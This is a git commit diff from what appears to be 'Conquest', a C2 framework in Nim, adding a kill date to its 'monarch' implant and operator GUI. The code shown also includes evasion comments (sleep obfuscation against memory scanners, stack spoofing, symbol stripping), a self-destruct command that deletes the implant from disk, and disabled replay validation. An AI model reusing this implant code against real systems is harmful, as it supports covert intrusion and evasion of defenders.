Implemented agent kill date.

This commit is contained in:
Jakob Friedl
2025-10-28 21:01:10 +01:00
parent 7417cb2822
commit 7f89487fb7
12 changed files with 217 additions and 70 deletions

View File

@@ -35,6 +35,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()) spoofStack: cast[bool](unpacker.getUint8())
), ),
killDate: cast[int64](unpacker.getUint64()),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey, agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix()), profile: parseString(unpacker.getDataWithLengthPrefix()),

View File

@@ -1,6 +1,6 @@
import strformat, os, times, system, base64, random import strformat, os, times, system, base64, random
import core/[http, context, sleepmask] import core/[http, context, sleepmask, exit]
import utils/io import utils/io
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
@@ -13,32 +13,33 @@ proc main() =
if ctx == nil: if ctx == nil:
quit(0) quit(0)
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
#[ #[
Agent routine: Agent routine:
1. Sleep Obfuscation 1. Check kill date
2. Register to the team server if not already register 2. Sleep Obfuscation
3. Retrieve tasks via checkin request to a GET endpoint 3. Register to the team server if not already connected
4. Execute task and post result 4. Retrieve tasks via checkin request to a GET endpoint
5. If additional tasks have been fetched, go to 3. 5. Execute task and post result
6. If no more tasks need to be executed, go to 1. 6. If additional tasks have been fetched, go to 3.
7. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:
try:
# Check kill date and exit the agent process if it is already passed
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings) sleepObfuscate(ctx.sleepSettings)
# Register # Register
if not ctx.registered: if not ctx.registered:
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes): if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered." print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true ctx.registered = true
@@ -49,7 +50,6 @@ proc main() =
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in." print "\n", fmt"[*] [{date}] Checking in."
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request # Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return # The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat() var heartbeat: Heartbeat = ctx.createHeartbeat()

View File

@@ -3,7 +3,7 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="false" -d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -3,6 +3,7 @@ switch "o", "bin/client"
switch "d", "ssl" switch "d", "ssl"
switch "d", "client" switch "d", "client"
switch "d", "ImGuiTextSelect" switch "d", "ImGuiTextSelect"
switch "d", "ImPlotEnable"
# Select compiler # Select compiler
var TC = "gcc" var TC = "gcc"

View File

@@ -11,6 +11,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true) var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
defer: app.destroyApp() defer: app.destroyApp()
var imPlotContext = ImPlot_CreateContext()
defer: imPlotContext.ImPlotDestroyContext()
var var
profile: Profile profile: Profile
views: Table[string, ptr bool] views: Table[string, ptr bool]

View File

@@ -0,0 +1,118 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
type
KillDateModalComponent* = ref object of RootObj
killDateTime: ImPlotTime
killDateLevel: cint
killDateHour: cint
killDateMinute: cint
killDateSecond: cint
proc KillDateModal*(): KillDateModalComponent =
result = new KillDateModalComponent
result.killDateLevel = 0
result.killDateTime = ImPlotTIme()
# Initialize to current date
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
let now = now()
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
result.killDateHour = 0
result.killDateMinute = 0
result.killDateSecond = 0
proc wrapValue(value: cint, max: cint): cint =
result = value mod max
if result < 0:
result += max
proc resetModalValues*(component: KillDateModalComponent) =
component.killDateLevel = 0
component.killDateTime = ImPlotTIme()
# Initialize to current date
let now = now()
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
component.killDateHour = 0
component.killDateMinute = 0
component.killDateSecond = 0
proc draw*(component: KillDateModalComponent): int64 =
result = 0
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
# Date picker
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
discard
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# Time input fields
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.killDateHour = wrapValue(component.killDateHour, 24)
component.killDateMinute = wrapValue(component.killDateMinute, 60)
component.killDateSecond = wrapValue(component.killDateSecond, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# OK and Cancel buttons
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -4,6 +4,7 @@ import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils] import ../../../common/[types, profile, utils]
import ../../../modules/manager import ../../../modules/manager
import ../widgets/[dualListSelection, textarea] import ../widgets/[dualListSelection, textarea]
import ./configureKillDate
export addItem export addItem
type type
@@ -13,10 +14,13 @@ type
jitter: int32 jitter: int32
sleepMask: int32 sleepMask: int32
spoofStack: bool spoofStack: bool
killDateEnabled: bool
killDate: int64
verbose: bool verbose: bool
sleepMaskTechniques: seq[string] sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module] moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget buildLog*: TextareaWidget
killDateModal*: KillDateModalComponent
proc AgentModal*(): AgentModalComponent = proc AgentModal*(): AgentModalComponent =
@@ -26,6 +30,8 @@ proc AgentModal*(): AgentModalComponent =
result.jitter = 15 result.jitter = 15
result.sleepMask = 0 result.sleepMask = 0
result.spoofStack = false result.spoofStack = false
result.killDateEnabled = false
result.killDate = 0
result.verbose = false result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high: for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
@@ -43,6 +49,7 @@ proc AgentModal*(): AgentModalComponent =
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc) result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
result.buildLog = Textarea(showTimestamps = false) result.buildLog = Textarea(showTimestamps = false)
result.killDateModal = KillDateModal()
proc resetModalValues*(component: AgentModalComponent) = proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0 component.listener = 0
@@ -50,6 +57,8 @@ proc resetModalValues*(component: AgentModalComponent) =
component.jitter = 15 component.jitter = 15
component.sleepMask = 0 component.sleepMask = 0
component.spoofStack = false component.spoofStack = false
component.killDateEnabled = false
component.killDate = 0
component.verbose = false component.verbose = false
component.moduleSelection.reset() component.moduleSelection.reset()
component.buildLog.clear() component.buildLog.clear()
@@ -122,6 +131,26 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSeparator() igSeparator()
igDummy(vec2(0.0f, 10.0f)) igDummy(vec2(0.0f, 10.0f))
# Kill date (checkbox & button to choose date)
igText("Kill date: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputKillDate", addr component.killDateEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled()
let killDate = component.killDateModal.draw()
if killDate != 0:
component.killDate = killDate
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
igText("Modules: ") igText("Modules: ")
component.moduleSelection.draw() component.moduleSelection.draw()
@@ -161,6 +190,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
spoofStack: component.spoofStack spoofStack: component.spoofStack
), ),
verbose: component.verbose, verbose: component.verbose,
killDate: if component.killDateEnabled: component.killDate else: 0,
modules: modules modules: modules
) )

View File

@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
return sequenceTable[agentId] return sequenceTable[agentId]
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool = proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32) let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
# # Heartbeat messages are not used for sequence tracking # Heartbeat messages are not used for sequence tracking
# if cast[PacketType](packetType) == MSG_HEARTBEAT: if cast[PacketType](packetType) == MSG_HEARTBEAT:
# return true return true
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
# if seqNr == 1'u32: if seqNr == 1'u32:
# sequenceTable[agentId] = seqNr sequenceTable[agentId] = seqNr
# return true return true
# # Validate that the sequence number of the current packet is higher than the currently stored one # Validate that the sequence number of the current packet is higher than the currently stored one
# if seqNr <= lastSeqNr: if seqNr < lastSeqNr:
# return false return false
# # Update sequence number # Update sequence number
# sequenceTable[agentId] = seqNr sequenceTable[agentId] = seqNr
return true return true
proc validatePacket*(header: Header, expectedType: uint8) = proc validatePacket*(header: Header, expectedType: uint8) =
@@ -38,5 +38,5 @@ proc validatePacket*(header: Header, expectedType: uint8) =
raise newException(CatchableError, protect("Invalid packet type.")) raise newException(CatchableError, protect("Invalid packet type."))
# Validate sequence number # Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType): # if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, protect("Invalid sequence number.")) # raise newException(CatchableError, protect("Invalid sequence number."))

View File

@@ -59,7 +59,7 @@ type
CMD_ENABLE_PRIV = 22'u16 CMD_ENABLE_PRIV = 22'u16
CMD_DISABLE_PRIV = 23'u16 CMD_DISABLE_PRIV = 23'u16
CMD_EXIT = 24'u16 CMD_EXIT = 24'u16
CMD_SELF_DESTROY = 25'u16 CMD_SELF_DESTRUCT = 25'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8
@@ -113,17 +113,6 @@ type
MODULE_SITUATIONAL_AWARENESS = 128'u32 MODULE_SITUATIONAL_AWARENESS = 128'u32
MODULE_TOKEN = 256'u32 MODULE_TOKEN = 256'u32
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
iterator items*(e: typedesc[ModuleType]): ModuleType =
yield MODULE_SLEEP
yield MODULE_SHELL
yield MODULE_BOF
yield MODULE_DOTNET
yield MODULE_FILESYSTEM
yield MODULE_FILETRANSFER
yield MODULE_SCREENSHOT
yield MODULE_SITUATIONAL_AWARENESS
# Encryption # Encryption
type type
Uuid* = uint32 Uuid* = uint32
@@ -333,6 +322,7 @@ type
listenerId*: string listenerId*: string
hosts*: string hosts*: string
sleepSettings*: SleepSettings sleepSettings*: SleepSettings
killDate*: int64
sessionKey*: Key sessionKey*: Key
agentPublicKey*: Key agentPublicKey*: Key
profile*: Profile profile*: Profile
@@ -375,6 +365,7 @@ type
listenerId*: string listenerId*: string
sleepSettings*: SleepSettings sleepSettings*: SleepSettings
verbose*: bool verbose*: bool
killDate*: int64
modules*: uint32 modules*: uint32
LootItemType* = enum LootItemType* = enum

View File

@@ -17,10 +17,10 @@ let commands* = @[
execute: executeExit execute: executeExit
), ),
Command( Command(
name: protect("self-destroy"), name: protect("self-destruct"),
commandType: CMD_SELF_DESTROY, commandType: CMD_SELF_DESTRUCT,
description: protect("Exit the agent and delete the executable from disk."), description: protect("Exit the agent and delete the executable from disk."),
example: protect("self-destroy"), example: protect("self-destruct"),
arguments: @[ arguments: @[
], ],
execute: executeSelfDestroy execute: executeSelfDestroy
@@ -55,7 +55,7 @@ when defined(agent):
proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult = proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
try: try:
print " [>] Self-destroying." print " [>] Self-destructing."
exit(EXIT_PROCESS, true) exit(EXIT_PROCESS, true)
except CatchableError as err: except CatchableError as err:

View File

@@ -103,7 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
proc getCommands*(modules: uint32 = 0): seq[Command] = proc getCommands*(modules: uint32 = 0): seq[Command] =
# House-keeping # House-keeping
result.add(manager.commandsByType[CMD_EXIT]) result.add(manager.commandsByType[CMD_EXIT])
result.add(manager.commandsByType[CMD_SELF_DESTROY]) result.add(manager.commandsByType[CMD_SELF_DESTRUCT])
# Modules # Modules
if modules == 0: if modules == 0:

View File

@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER" const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] = proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] =
var packer = Packer.init() var packer = Packer.init()
@@ -24,6 +24,9 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.add(uint8(sleepSettings.sleepTechnique)) packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack)) packer.add(uint8(sleepSettings.spoofStack))
# Kill date
packer.add(uint64(killDate))
# Public key for key exchange # Public key for key exchange
packer.addData(cq.keyPair.publicKey) packer.addData(cq.keyPair.publicKey)
@@ -157,7 +160,7 @@ proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): se
let listener = cq.listeners[agentBuildInformation.listenerId] let listener = cq.listeners[agentBuildInformation.listenerId]
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings) var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate)
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose) let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
if unpatchedExePath.isEmptyOrWhitespace(): if unpatchedExePath.isEmptyOrWhitespace():